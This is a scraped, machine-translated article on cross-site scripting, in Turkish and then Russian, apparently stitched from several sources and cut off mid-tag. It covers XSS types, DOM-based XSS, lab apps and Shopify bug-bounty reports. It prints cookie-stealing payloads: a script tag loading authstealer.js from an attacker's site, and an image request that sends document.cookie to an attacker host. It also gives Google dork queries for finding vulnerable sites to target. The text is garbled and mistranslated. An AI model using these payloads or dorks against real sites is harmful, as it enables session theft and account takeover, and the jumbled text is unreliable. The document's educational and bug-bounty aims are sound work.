düşünelim.</p> <p>En basit betiğinizi çizebilirsiniz (PHP'de kötü betikler yazmaktan daha kolay bir şey yoktur - çoğu insan bunu yapar). Ancak zaten çok sayıda hazır seçenek var. Örneğin, Dojo ve OWASP Mutillidae II ile başlamanızı öneririm. Benzer bir örnek var. Bağımsız Dojo'da tarayıcınıza şu adresten gidin: http: //localhost/mutillidae/index.php? Page \u003d add-to-your-blog.php</p> <p>Kullanıcılardan biri girdiyse:</p><p>Merhaba! Nasılsın.</p><p>Ardından web sayfası şunu gösterecektir:</p><p>Merhaba! Nasılsın.</p><p>Ve kullanıcı şöyle girerse:</p><p>Merhaba! Nasılsın.<script>alert("Pwned")</script> </p><p>Ardından şu şekilde görüntülenecektir:</p> <p><img src='https://i0.wp.com/helpugroup.com/wp-content/uploads/2017/06/02-6.jpg' width="100%" loading=lazy></p> <p>Tarayıcılar çok sayıda sitede birden çok çerez depolar. Her site yalnızca kendi başına kaydedilen çerezleri alabilir. Örneğin, example.com tarayıcınızda bazı çerezler depolamıştır. Another.com sitesini ziyaret ederseniz, bu site (istemci ve sunucu betikleri) example.com tarafından depolanan tanımlama bilgilerine erişemez.</p> <p>Example.com sitesi XSS'ye karşı savunmasızsa, bu, bir şekilde JavaScript kodunu ona enjekte edebileceğimiz ve bu kodun example.com sitesi adına çalıştırılacağı anlamına gelir! Şunlar. bu kod, örneğin, example.com sitesinin çerezlerine erişim sağlayacaktır.</p> <p>Herkesin JavaScript'in kullanıcının tarayıcılarında yürütüldüğünü hatırladığını düşünüyorum. XSS varlığında, enjekte edilen kötü amaçlı kod, web sitesi sayfasını açan kullanıcının verilerine erişim kazanır.</p> <p>Enjekte edilen kod, JavaScript'in yapabileceği her şeyi yapabilir, yani:</p> <ul><li>ziyaret edilen sitenin çerezlerine erişir</li> <li>sayfanın görünümünde herhangi bir değişiklik yapabilir</li> <li>panoya erişir</li> <li>tuş kaydediciler (basılan tuşların engelleyicileri) gibi JavaScript programlarını enjekte edebilir</li> <li>beEF'e bağlanın</li> </ul><p>En basit çerez örneği:</p><p> <script>alert(document.cookie)</script> </p><p>Aslında, <b>uyarmak</b> yalnızca XSS tespiti için kullanılır. Gerçek kötü niyetli yük, gizli eylemler gerçekleştirir. Saldırganın uzak sunucusuyla gizlice iletişim kurar ve çalınan verileri ona aktarır.</p> <h2>XSS görünümleri</h2> <p>XSS türleri hakkında anlaşılması gereken en önemli şey şudur:</p> <ul><li>Depolandı (Kalıcı)</li> <li>Yansıyan (Süreksiz)</li> </ul><p>Sabitlere bir örnek:</p> <ul><li>Bir saldırgan tarafından girilen ve sunucuya kaydedilen özel hazırlanmış bir ziyaretçi defteri mesajı (yorum, forum mesajı, profil), kullanıcılar bu sayfayı her görüntülemeyi istediğinde sunucudan indirilir.</li> <li>Bir saldırgan, örneğin SQL enjeksiyonu yoluyla sunucu verilerine erişim kazandı ve kullanıcıya gösterilen verilere kötü amaçlı JavaScript kodu (keylogger veya BeEF ile) enjekte etti.</li> </ul><p>Uçucu bir örnek:</p> <ul><li>Sitede, veriler uygun şekilde filtrelenmemişken, arama sonuçlarıyla birlikte "Aradınız: [arama dizesi]" gibi bir şey gösteren bir arama var. Böyle bir sayfa sadece kendisine bağlantısı olanlara gösterildiğinden, saldırgan bağlantıyı diğer site kullanıcılarına gönderene kadar saldırı çalışmayacaktır. Kurbana bir bağlantı göndermek yerine, kötü niyetli bir komut dosyasının, kurban tarafından ziyaret edilen tarafsız bir siteye yerleştirilmesini kullanabilirsiniz.</li> </ul><p>Ayrıca ayırt ederler (bazıları bir tür uçucu XSS güvenlik açığı olarak, bazıları bu türün bir tür kalıcı XSS \u200b\u200bolabileceğini söylüyor):</p> <ul><li>DOM modelleri</li> </ul><h2><span>DOM tabanlı XSS \u200b\u200bözellikleri</span></h2> <p>Basitçe söylemek gerekirse, HTML kodunu açtığımızda "normal" kalıcı olmayan XSS'nin kötü amaçlı kodunu görebiliriz. Örneğin, şöyle bir bağlantı oluşturulur:</p><p>Http://example.com/search.php?q\u003d "/\u003e<script>alert(1)</script> </p><p>Ve kaynak HTML kodunu açarken şöyle bir şey görüyoruz:</p><p> < div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >uyarı (1)</ script >" /> < button type = "submit" class = "ui-button" >Bulmak</ button > </ form > </p><p>Ve DOM XSS, tarayıcıda anında oluşan DOM yapısını değiştirir ve kötü amaçlı kodu yalnızca oluşan DOM yapısını görüntülediğimizde görebiliriz. Bu HTML'yi değiştirmez. Bu kodu örnek olarak alalım:</p><p> <!DOCTYPE html> < html > < head > < title >site ::: DOM XSS</ title > < meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > </ head > < body > < div id = "default" > Bir hata oluştu ...</ div > < script > function OnLoad () (var foundFrag \u003d get_fragment (); return foundFrag;) function get_fragment () (var r4c \u003d "(. *?)"; var results \u003d location.hash.match (". * input \u003d token (" + r4c + ");") if (sonuçlar) (document.getElementById ("varsayılan"). innerHTML \u003d ""; return (unescape (sonuçlar));) else (return null;)) display_session \u003d OnLoad (); document.write ("Oturum kimliğiniz:" + display_session + "< br >< br >") </ script > </ body > </ html > </p><p>Ardından tarayıcıda şunu göreceğiz:</p> <p><img src='https://i2.wp.com/helpugroup.com/wp-content/uploads/2017/06/04-4.jpg' width="100%" loading=lazy></p> <p>Sayfanın kaynak kodu:</p> <p><img src='https://i0.wp.com/helpugroup.com/wp-content/uploads/2017/06/05-3.jpg' width="100%" loading=lazy></p> <p>Adresi şu şekilde oluşturalım:</p><p>Http: //localhost/tests/XSS/dom_xss.html#input\u003dtokenAlex<script>alert(1)</script>; </p><p>Sayfa artık şuna benzer:</p> <p><img src='https://i2.wp.com/helpugroup.com/wp-content/uploads/2017/06/06-4.jpg' width="100%" loading=lazy></p> <p>Ama HTML kaynağına bir göz atalım:</p> <p>Orada hiçbir şey değişmedi. Söylediğim gibi, kötü niyetli kodu ortaya çıkarmak için belgenin DOM yapısına bakmamız gerekiyor:</p> <p><img src='https://i2.wp.com/helpugroup.com/wp-content/uploads/2017/06/08-3.jpg' width="100%" loading=lazy></p> <p>İşte XSS'nin çalışan bir prototipi, gerçek bir saldırı için daha karmaşık bir yüke ihtiyacımız var; bu, uygulamanın noktalı virgülden hemen sonra okumayı durdurması nedeniyle imkansızdır. <b>uyarı (1); uyarı (2)</b> artık mümkün değil. Ancak teşekkürler <b>unescape ()</b> döndürülen verilerde şöyle bir yük kullanabiliriz:</p><p>Http: //localhost/tests/XSS/dom_xss.html#input\u003dtokenAlex<script>alert(1)%3balert(2)</script>; </p><p>Sembolü nerede değiştirdik <b>; </b> URI kodlu eşdeğerine!</p> <p>Artık kötü amaçlı bir JavaScript yükü yazabilir ve kurbanlara göndermek için bir bağlantı oluşturabiliriz, standart kalıcı olmayan siteler arası komut dosyası çalıştırmada yapıldığı gibi.</p> <h2>XSS Denetçisi</h2> <p>Google Chrome'da (ve şimdi Google Chrome motorunu kullanan Opera'da), şu sürprizle karşılaştım:</p> <blockquote><p>dom_xss.html: 30 XSS Denetçisi, "http: //localhost/tests/XSS/dom_xss.html#input\u003dtoken ‹script› uyarısında (1) bir komut dosyası yürütmeyi reddetti</script>; ’Çünkü kaynak kodu istek içinde bulundu. Sunucu, "X-XSS-Protection" veya "Content-Security-Policy" üstbilgisi göndermediği için denetçi etkinleştirildi.</p> </blockquote> <p><img src='https://i0.wp.com/helpugroup.com/wp-content/uploads/2017/06/09-2.jpg' width="100%" loading=lazy></p> <p>Şunlar. artık tarayıcıda XSS'yi engellemeye çalışan bir XSS denetçisi var. Firefox henüz bu işleve sahip değil, ancak sanırım bu an meselesi. Tarayıcılardaki uygulama başarılı olursa, XSS kullanımında önemli bir zorluktan bahsedebiliriz.</p> <p>Modern tarayıcıların geçici XSS ve DOM tabanlı XSS \u200b\u200bgibi sorunların suistimalini sınırlamak için adımlar attığını hatırlamakta fayda var. Web sitelerini bir tarayıcı kullanarak test ederken bunun da hatırlanması gerekir - bu, web uygulamasının savunmasız olduğu ortaya çıkabilir, ancak tarayıcı onu engellediği için onay açılır penceresini görmezsiniz.</p> <h2><span>XSS istismarına örnekler</span></h2> <p>Siteler arası komut dosyası çalıştırma güvenlik açıklarından yararlanmak isteyen saldırganlar, her güvenlik açığı sınıfına farklı şekilde yaklaşmalıdır. Her sınıf için saldırı vektörleri burada açıklanmıştır.</p> <p>XSS güvenlik açıkları ile saldırılar, saldırıyı web sitesinden yerel kullanıcı ortamına genişleten BeEF'i kullanabilir.</p> <p><b>Uçucu bir XSS saldırısına bir örnek</b></p> <p>1. Alice, Bob'un barındırdığı belirli bir web sitesini sık sık ziyaret eder. Bob'un web sitesi, Alice'in bir kullanıcı adı / şifre ile oturum açmasına ve ödeme bilgileri gibi hassas verileri kaydetmesine izin verir. Bir kullanıcı oturum açtığında, tarayıcı anlamsız karakterler gibi görünen yetkilendirme çerezlerini kaydeder, örn. her iki bilgisayar da (istemci ve sunucu) oturum açtığını hatırlar.</p> <p>2. Malorie, Bob'un web sitesinde geçici bir XSS güvenlik açığı bulunduğunu belirtiyor:</p> <p>2.1 Arama sayfasını ziyaret ederken, arama dizesini girer ve gönder düğmesine tıklar, eğer sonuç bulunamazsa, sayfa girilen arama dizesini ve ardından "bulunamadı" sözcüklerini görüntüler ve url gibi görünür <b>http://bobssite.org?q\u003d arama sorgusu</b></p> <p>2.2 "" gibi normal bir arama terimiyle <b>köpek</b>"Yalnızca sayfa görüntüleniyor" <b>köpek</b> bulunamadı "ve url http://bobssite.org?q\u003d <b>köpek</b>, bu normal bir davranıştır.</p> <p>2.3 Bununla birlikte, gibi anormal bir arama sorgusu <b><script type=’text/javascript’>alert(‘xss’);</script> </b>:</p> <p>2.3.1 Bir uyarı mesajı görünür ("xss" yazan).</p> <p>2.3.2 Sayfa görüntüleri <b><script type=’text/javascript’>alert(‘xss’);</script> bulunamadı</b> 'xss' metnini içeren bir hata mesajı ile birlikte.</p> <p>2.3.3 kullanılabilir url <b>http://bobssite.org?q\u003d<script%20type=’text/javascript’>alert(‘xss’);</script> </b></p> <p>3. Mallory, güvenlik açığından yararlanmak için bir URL oluşturur:</p> <p>3.1 URL'yi yapıyor <b>http://bobssite.org?q\u003dpuppies<script%20src=»https://mallorysevilsite.com/authstealer.js»></script> </b>... ASCII karakterlerini onaltılık biçime dönüştürmeyi seçebilir, örneğin: <b>http://bobssite.org?q\u003dpuppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E</b> insanların kötü amaçlı URL'nin şifresini anında çözmesini engellemek için.</p> <p>3.2 Bob'un sitesinin şüphelenmeyen bazı üyelerine "Havalı köpeklere bakın" diyen bir e-posta gönderiyor.</p> <p>4. Alice bir mektup alır. Köpekleri sever ve bağlantıya tıklar. Aramada Bob'un sitesine gider, hiçbir şey bulamaz, "köpek bulunamadı" mesajını görüntüler ve tam ortada bir komut dosyası içeren bir etiket başlatır (ekranda görünmez), Malory'nin authstealer.js programını yükler ve çalıştırır (bir XSS saldırısını tetikler). Alice bunu unutur.</p> <p>5. authstealer.js programı, Alice'in tarayıcısında Bob'un web sitesinden geliyormuş gibi çalışır. Alice'in yetkilendirme tanımlama bilgilerinin bir kopyasını alır ve bunları, Malorie'nin bunları aldığı Malory'nin sunucusuna gönderir.</p> <p>7. Malorie artık içeride olduğuna göre, web sitesinin ödeme bölümüne gider, arar ve Alice'in kredi kartı numarasının bir kopyasını çalar. Sonra gider ve şifreyi değiştirir, yani şimdi Alice artık içeri giremez bile.</p> <p>8. Bir sonraki adımı atmaya karar verir ve bu şekilde oluşturulan bağlantıyı Bob'a gönderir ve böylece Bob'un sitesinin yönetici ayrıcalıklarını elde eder.</p> <p><b>Kalıcı XSS \u200b\u200bsaldırısı</b></p> <ol><li>Malorie'nin Bob'un web sitesinde bir hesabı var.</li> <li>Malorie, Bob'un web sitesinde kalıcı bir XSS güvenlik açığı bulunduğunu fark eder. Yeni bir bölüme giderseniz, bir yorum yayınlayın, ardından içine yazılanları görüntüler. Ancak yorum metni HTML etiketleri içeriyorsa, bu etiketler oldukları gibi görüntülenir ve tüm komut dosyası etiketleri çalıştırılır.</li> <li>Malorie, Haberler bölümündeki makaleyi okur ve Yorumlar bölümüne bir yorum yazar. Metni yoruma ekler:</li> <li>Bu hikayede köpekleri çok sevdim. Çok güzeller! <script src=»https://mallorysevilsite.com/authstealer.js»></li> <li>Alice (veya başka biri) bu yorumun olduğu sayfayı yüklediğinde, Malory'nin komut dosyası etiketi tetiklenir ve Alice'in yetkilendirme çerezlerini çalar, toplanması için Malorie'in gizli sunucusuna gönderir.</li> <li>Malorie artık Alice'in oturumunu durdurabilir ve Alice'in kimliğine bürünebilir.</li> </ol><h2><span>XSS'ye karşı savunmasız siteler bulun</span></h2> <p><b>XSS yolları</b></p> <p>İlk adım, XSS saldırıları yapacağımız siteleri seçmektir. Web siteleri Google Dorks kullanılarak aranabilir. İşte kopyalayıp Google Arama’ya yapıştırabileceğiniz bu salaklardan birkaçı:</p> <ul><li>inurl: search.php? q \u003d</li> <li>inurl: .php? q \u003d</li> <li>inurl: search.php</li> <li>inurl: .php? arama \u003d</li> </ul><p>Önümüzde bir site listesi açılacak. Siteyi açmanız ve üzerinde geri bildirim formu, giriş formu, site araması gibi giriş alanları bulmanız gerekir.</p> <p>Otomatik olarak güncellenen popüler web uygulamalarında güvenlik açıklarını aramanın neredeyse faydasız olduğunu hemen belirtmek isterim. Böyle bir uygulamanın klasik bir örneği WordPress'tir. Aslında WordPress'te ve özellikle eklentilerinde güvenlik açıkları var. Ayrıca, WordPress motorunu (web yöneticisinin kaynak kodunda bazı değişiklikler yapması nedeniyle) veya eklenti ve temaları (genellikle korsan eklentiler ve temalar) güncellemeyen birçok site vardır. Ancak bu bölümü okuyor ve ondan yeni bir şeyler öğreniyorsanız, o zaman WordPress henüz size göre değil ... Kesinlikle daha sonra geri döneceğiz.</p> <p>En iyi hedefler, çeşitli özel motorlar ve komut dosyalarıdır.</p> <p>Ekleme yükü olarak seçebilirsiniz</p><p> <script>alert(1)</script> </p><p>Enjekte edilen kodunuzun hangi HTML etiketlerine denk geldiğine dikkat edin. İşte tipik bir giriş alanı örneği</p><p> < input type = "text" class = "ui-input query" name = "q" value = "yastık kılıfı" />< script >uyarı (1)</ script >< input value = "" /> </p><p>Yükümüz artık "yastık kılıfı" kelimesinin olduğu yere gidecek. Şunlar. etiket değerine dönüşmek <b>giriş</b>... Çift alıntıyı ve ardından etiketi kapatarak bunu önleyebiliriz. <b>«/> </b></p> <p> "/><script>alert(1)</script> </p><h2><span>XSS güvenlik açıklarını aramak ve taramak için programlar</span></h2> <p>Muhtemelen tüm web uygulama tarayıcılarında yerleşik bir XSS güvenlik açığı tarayıcısı vardır. Bu konu kapsamlı değildir, bu tür tarayıcıların her birini ayrı ayrı tanımak daha iyidir.</p> <p>XSS güvenlik açıklarını taramak için özel araçlar da vardır. Bunların arasında özellikle şunlar vurgulanabilir:</p> <ul><li>XSSer, farklı filtreleme yöntemlerini kullanabilen ve filtrelemeyi atlayabilen güçlü bir tarayıcı değil, aynı zamanda XSS'ye karşı savunmasız siteleri (aptallar tarafından) bulmak için otomatikleştirilmiş bir araçtır. Güvenlik açıkları bulunan siteler için, gerçek bir saldırı için yük enjekte edebilir;</li> <li>XssPy ayrıca, bir sitenin tüm sayfalarını (alt alan adlarındakiler dahil) bulabilen ve bu sayfalardaki tüm giriş öğelerini kontrol edebilen oldukça bağımsız bir araçtır;</li> <li>BruteXSS - bu aracın olumlu bir özelliği, yanlış pozitiflerin tamamen ortadan kaldırılmasıdır.</li> </ul><h2><span>XSS Testi için Savunmasız Web Uygulamaları</span></h2> <p>Savunmasız web uygulamalarının çoğu (bazı çok özelleşmiş olanlar hariç) XSS'ye karşı savunmasız olan siteleri içerir. En iyi seçenek, bunları test etmek için birçok uygulama toplayan Dojo bağımsız öğrenme ortamında kullanmaktır. Örneğin, XSS'yi tanımlama ve çalıştırma becerileriniz şu konularda eğitilebilir:</p> <p><b>Lanet Savunmasız Web Uygulaması (DVWA):</b></p> <ul><li>http: // localhost / dvwa / güvenlik açıkları / xss_r / (uçucu XSS)</li> <li>http: // localhost / dvwa / güvenlik açıkları / xss_s / (depolanan XSS)</li> </ul><p><img src='https://i0.wp.com/helpugroup.com/wp-content/uploads/2017/06/201.jpg' width="100%" loading=lazy></p> <p><b>Mutillidae / NOWASP (birçok farklı XSS \u200b\u200bvaryasyonu)</b></p> <ul><li>http: // localhost / mutillidae /</li> </ul><p><img src='https://i2.wp.com/helpugroup.com/wp-content/uploads/2017/06/202.jpg' width="100%" loading=lazy></p> <p>Siteler Arası Komut Dosyası (kısaca XSS), birçok web uygulamasını etkileyen yaygın bir güvenlik açığıdır. Saldırganın, siteyi ziyaret eden kullanıcının tarayıcısı kodu çalıştıracak şekilde bir web sitesine kötü amaçlı kod enjekte etmesine olanak tanır.</p> <p>Tipik olarak, bu tür bir güvenlik açığından yararlanmak, kullanıcıyla bir miktar etkileşim gerektirir: ya sosyal mühendislik kullanarak virüslü bir siteye çekilir ya da siteyi ziyaret etmesini beklerler. Bu nedenle, geliştiriciler genellikle XSS güvenlik açıklarını ciddiye almazlar.</p> <p>Ancak ele alınmazlarsa, ciddi bir güvenlik tehdidi oluşturabilirler.</p> <p>Diyelim ki WordPress yönetici panelinde yeni içerik ekliyoruz. Bunun için XSS'ye karşı savunmasız bir eklenti kullanırsak, tarayıcıyı yeni bir yönetici oluşturmaya, içeriği değiştirmeye ve başka kötü niyetli eylemler gerçekleştirmeye zorlayabilir. Siteler arası komut dosyası oluşturma, bir saldırgana bugünlerde en önemli yazılım parçası olan tarayıcı üzerinde neredeyse tam kontrol sağlar.</p> <h2>XSS: Enjeksiyon Güvenlik Açığı</h2> <p>Herhangi bir web sitesi veya uygulamanın birden çok veri giriş konumu vardır - URL'nin kendisine kadar form alanları. Veri girişinin en basit örneği, bir forma bir kullanıcı adı ve şifre girdiğimiz zamandır:</p> <p><img src='https://i1.wp.com/info-business.pro/wp-content/uploads/2017/01/screen-shot.png' align="center" width="100%" loading=lazy></p> <p>İsmimiz, gelecekte bizimle iletişime geçmeniz için sitenin veritabanında saklanacaktır. Elbette, herhangi bir siteye giriş yaptığınızda, "Hoş Geldiniz, Ilya" tarzında kişisel bir selamlama gördünüz.</p> <p>Bu amaçla, kullanıcı adları veritabanında saklanır.</p> <p>Enjeksiyon, bir ad veya parola yerine özel bir karakter dizisi girildiğinde sunucuyu veya tarayıcıyı saldırganın ihtiyaç duyduğu belirli bir şekilde yanıt vermeye zorlayan bir prosedürdür.</p> <p>Siteler arası komut dosyası oluşturma, bir web sitesi adına tarayıcıda eylemleri yürütecek kodu enjekte eden bir enjeksiyondur. Bu, kullanıcının bilgisi olmadan hem kullanıcının bildirimiyle hem de arka planda olabilir. <br><br><img src='https://i0.wp.com/info-business.pro/wp-content/uploads/2017/01/xss-example-flow-diagram1.png' align="center" width="100%" loading=lazy></p> <h2>Geleneksel XSS saldırıları:</h2> <h4>Yansıtılmış (süreksiz).</h4> <p>Yansıyan bir XSS saldırısı, bir kullanıcı özel hazırlanmış bir bağlantıya tıkladığında tetiklenir.</p> <p>Bu güvenlik açıkları, bir web istemcisi tarafından, çoğunlukla HTTP istek parametrelerinde veya HTML biçiminde sağlanan veriler, uygun işlem yapılmadan, o istemci için bir sonuç sayfasını ayrıştırmak ve görüntülemek için doğrudan sunucu tarafındaki komut dosyaları tarafından yürütüldüğünde ortaya çıkar.</p> <h4>Saklandı (kalıcı).</h4> <p>Depolanan XSS, bir saldırganın orijinal sayfaya her erişildiğinde tarayıcıda çalışan sunucuya kötü amaçlı kod enjekte edebilmesi durumunda mümkündür. Bu güvenlik açığının klasik bir örneği, HTML yorumlarına izin veren forumlardır.</p> <h2>İstemci tarafı kodunun neden olduğu güvenlik açıkları (JavaScript, Visual Basic, Flash vb.):</h2> <h3>DOM modelleri olarak da bilinir:</h3> <h4>Yansıtılmış (süreksiz).</h4> <p>Sunucu tarafında olduğu gibi, sadece bu durumda, kodun tarayıcı tarafından işlenmesi nedeniyle saldırı mümkündür.</p> <h4>Saklandı (kalıcı).</h4> <p>Sunucu tarafında depolanan XSS'ye benzer şekilde, yalnızca bu durumda kötü amaçlı bileşen tarayıcı depolaması kullanılarak istemci tarafında depolanır.</p> <h2>XSS güvenlik açıklarına örnekler.</h2> <p>İlginç bir şekilde, bu güvenlik açığının açıklandığı çoğu durumda, bizi aşağıdaki kodla korkuturlar:</p><p>Http://www.site.com/page.php?var\u003d<script>alert("xss");</script> </p><p>İki tür XSS güvenlik açığı vardır - pasif ve aktif.</p> <p><i>Aktif güvenlik açığı</i> daha tehlikelidir, çünkü saldırganın kurbanı özel bir bağlantı kullanarak cezbetmesi gerekmediğinden, sadece kodu veritabanına veya sunucudaki bir dosyaya enjekte etmesi gerekir. Böylece tüm site ziyaretçileri otomatik olarak mağdur olur. Örneğin SQL Enjeksiyonu kullanılarak entegre edilebilir. Bu nedenle, ekleme sırasında işlenmiş olsa bile veritabanında depolanan verilere güvenmemelisiniz.</p> <p>Misal <i>pasif güvenlik açığı</i> makalenin en başında bulunabilir. Burada sosyal mühendisliğe zaten ihtiyaç vardır, örneğin, bir yedekten geri yükledikten sonra hesabınızın ayarlarını kontrol etme isteği ile site yönetiminden önemli bir mektup. Buna göre, mağdurun adresini bilmeniz veya sadece bir spam postası ayarlamanız veya bazı forumlarda yayınlamanız gerekir ve hatta mağdurların saf olacağı ve bağlantınıza tıklamanız gerekmez.</p> <p>Ayrıca hem POST hem de GET parametreleri pasif güvenlik açığına maruz kalabilir. POST parametreleri ile elbette hilelere gitmelisiniz. Örneğin, saldırganın web sitesinden yönlendirme.</p><p> <form method="post" action="http://site.com/page.php"> </p><p><input type="hidden" name="var" value="\u003c# - NOTRANS34 - #\u003e"></p> <p><script type="text/javascript"> document.getElementsByTagName("form").submit(); </script></p> <p>Bu nedenle, GET güvenlik açığı biraz daha tehlikelidir, çünkü Kurbanın yanlış alanı fark etmesi isteğe bağlı parametreden daha kolaydır (url tamamen kodlanabilir olsa da)</p> <h3>Çerezleri Çalma</h3> <p>Bu, bir XSS saldırısının en sık alıntılanan örneğidir. Çerezlerde, siteler bazen bazı değerli bilgileri (hatta bazen kullanıcı adı ve şifre (veya hash)) saklar, ancak en tehlikelisi aktif bir oturumun çalınmasıdır, bu nedenle, bir ev bilgisayarı olsa bile sitelerdeki "Çıkış" bağlantısını tıklamayı unutmayın. Neyse ki, çoğu kaynakta oturum ömrü sınırlıdır.</p><p>Var іmg \u003d yeni Resim (); іmg.srс \u003d "http: //site/xss.php?" + document.cookie;</p><p>Bu nedenle, XMLHttpRequest için etki alanı kısıtlamaları getirdik, ancak bir saldırgan korkmuyor, çünkü <iframe>, <img>, <script>, background:url(); и т.п.</p> <h3>Кража данных из форм</h3> <p>Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.</p> <p>Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.</p> <h3>DDoS-атака (распределенная атака типа «отказ в обслуживании»)</h3> <p>XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.<br> Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:</p><p> <img src='https://i1.wp.com/site.com/' loading=lazy> </p><h2>В чем опасность XSS?</h2> <p>Как можно защитить свой сайт от XSS? Как проверить код на наличие уязвимости? Существуют технологии вроде Sucuri Firewall, специально разработанные для того, чтобы избежать подобных атак. Но если вы разработчик, вы, безусловно, захотите узнать подробнее, как идентифицировать и устранить XSS-уязвимости.</p> <p>Об этом мы поговорим в следующей части статьи, посвященной XSS.</p> <p>Межсайтовый скриптинг, или Cross site scripting, или XSS, предполагает наличие сайта, подключающего непредусмотренный код Javascript, который, в свою очередь, передается пользователям, исполняющим этот код в своих браузерах. Безобидный пример XSS (именно такой вы должны использовать!) выглядит так:</p> <p>alert(‘XSS’);</p> <p>Это создаст вызовет функцию Javascript alert и создаст простое (и безобидное) окошко с буквами XSS. В предыдущих версиях книги я рекомендовал вам использовать этот пример при написании отчетов. Это было так, пока один чрезвычайно успешный хакер не сказал мне, что это был “ужасный пример”, объяснив, что получатель отчета об уязвимости может не понять опасность проблемы и из-за безобидности примера выплатить небольшое вознаграждение.</p> <p>Таким образом, используйте этот пример для обнаружения XSS-уязвимости, но при составлении отчета подумайте о потенциальном вреде, который может нанести уязвимость и объясните его. Под этим я не подразумеваю рассказ компании о том, что же такое XSS, но предлагаю объяснить, чего вы можете добиться, используя уязвимость и как конкретно это могло отразиться на их сайте.</p> <p>Существует три различных вида XSS, о которых вы могли слышать при исследовании и написании отчетов:</p> <ul><li>Reflective XSS: эти атаки не сохраняются на сайте, что означает создание и выполнение XSS в одном запросе и ответе.</li> <li>Stored XSS: эти атаки сохраняются на сайте и зачастую более опасны. Они сохраняются на сервере и выполняются на “нормальных” страницах ничего не подозревающими пользователями.</li> <li>Self XSS: эти атаки также не сохраняются на сайте и обычно используются как часть обмана человека с целью запуска XSS им самим.Когда вы ищете уязвимости, вы обнаружите, что компании зачастую не заботятся об устранении Self XSS, они беспокоятся только о тех случаях, когда вред их пользователям может быть нанесен не ими самими, а кем-либо еще, как в случае с Reflective и Stored XSS. Однако, это не значит, что вы не должны искать Self XSS.</li> </ul><p>Если вы нашли ситуацию, в которой Self XSS может быть выполнен, но не сохранен, подумайте о том, как может быть использована эта уязвимость, сможете ли вы использовать её в комбинации с чем-либо, чтобы она уже не была Self XSS?</p> <p>Один из самых известных примеров использования XSS - MySpace Samy Work, выполненный Сами Камкаром. В октябре 2005 Сами использовал уязвимость stored XSS на MySpace, что позволило ему загрузить код Javascript, который выполнялся каждый раз, когда кто-нибудь посещал его страницу MySpace, добавляя посетителя страницы в друзья профиля Сами. Более того, код также копировал себя на страницы новых друзей Сами таким образом, чтобы профили новых его друзей обновлялись со следующим текстом: “but most of all, samy is my hero”.</p> <p>Хотя пример Сами был относительно безобидным, использование XSS позволяет красть логины, пароли, банковскую информацию, и так далее. Несмотря на потенциальный вред, исправление XSS-уязвимостей, как правило, не является сложным и требует от разработчиков просто экранировать пользовательский ввод (прямо как в HTML-инъекции) при его отображении. Хотя, некоторые сайты так же убирают потенциально вредоносные символы, когда хакер их отправляет.</p> <h3><span>1. Распродажа Shopify </span></h3> <p><b>Сложность: </b> Низкая<br><b>Url: </b> wholesale.shopify.com<br><b>Ссылка на отчет: </b> https://hackerone.com/reports/10629326 Дата отчета: 21 декабря 2015<br><b>Выплаченное вознаграждение: </b> $500<br><b>Описание: </b></p> <p>Сайт распродажи Shopify27 является простой страницей с прямым призывом к действию - введите название товара и нажмите “Find Products”. Вот скриншот:</p> <br><img src='https://i2.wp.com/cryptoworld.su/wp-content/uploads/2016/11/5ddb8743022bec718aae541fc75d3ebd.png' width="100%" loading=lazy> Скриншот сайта распродаж wholesale <p>XSS-уязвимость здесь была самой простой, какую только можно найти - текст, введенный в поисковую строку не был экранирован, так что исполнялся любой введенный Javascript. Вот отправленный текст из описания уязвимости: test’;alert(‘XSS’);’</p> <p>Причина того, что это сработало, в том, что Shopify принимал пользовательский ввод, выполнял поисковый запрос и при отсутствии результатов, печатал сообщение, сообщающее об отсутствии результатов поиска по введенному запросу, показывая на странице не экранированный пользовательский ввод. В результате, отправленный Javascript рендерился на странице и браузеры интерпретировали его как исполняемый Javascript.</p> <h3>Выводы </h3> <p>Тестируйте все, уделяйте особое внимание ситуациям, где введенный текст рендерится на странице. Проверяйте, можете ли вы включить в ввод HTML или Javascript, и смотрите, как сайт обрабатывает их. Так же пробуйте закодировать ввод подобно тому, как описано в главе, посвященной HTML-инъекциям.</p> <p>XSS-уязвимости не должны быть сложными или запутанными. Эта уязвимость была самой простой, какую можно представить - простое поле для ввода текста, которое не обрабатывает пользовательский ввод. И она была обнаружена 21 декабря 2015, и принесла хакеру $500! Все, что потребовалось - хакерское мышление.</p> <h3><span>2. Корзина подарочных карт Shopify </span></h3> <p><b>Сложность: </b> Низкая<br><b>Url: </b> hardware.shopify.com/cart<br><b>Ссылка на отчет: </b> https://hackerone.com/reports/9508928 Дата отчета: 21 октября 2015<br><b>Выплаченное вознаграждение: </b> $500<br><b>Описание: </b></p> <p>Сайт магазина подарочных карт Shopify29 позволяет пользователям создавать собственное оформление для подарочных карт с помощью HTML-формы, включающей в себя окошко загрузки файла, несколько строк для ввода текста деталей, и так далее. Вот скриншот:</p> <br><img src='https://i1.wp.com/cryptoworld.su/wp-content/uploads/2016/11/9918de0af2718d46ad92c4b916ae68ac.png' width="100%" loading=lazy> Скриншот формы магазина подарочных карт Shopify <p>XSS-уязвимость здесь срабатывала, когда в поле формы, предназначенное для названия изображения, вводили Javascript. Это довольно легко сделать, используя HTML прокси, о которых мы поговорим позднеев главе “Инструменты”. Итак, оригинальная отправка формы включала:</p> <p>Content-Disposition: form-data; name=”properties”</p> <table class="crayon-table"><tr class="crayon-row"><td class="crayon-nums " data-settings="hide"> </td> <td class="crayon-code"><p>Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file ] ”</p> </td> </tr></table><br> Её можно было перехватить и изменить на:<br><p>Content-Disposition: form-data; name=”properties”;</p> <table class="crayon-table"><tr class="crayon-row"><td class="crayon-nums " data-settings="hide"> </td> <td class="crayon-code"><p>Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file < img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”; </p> </td> </tr></table> <script>document.write("<img 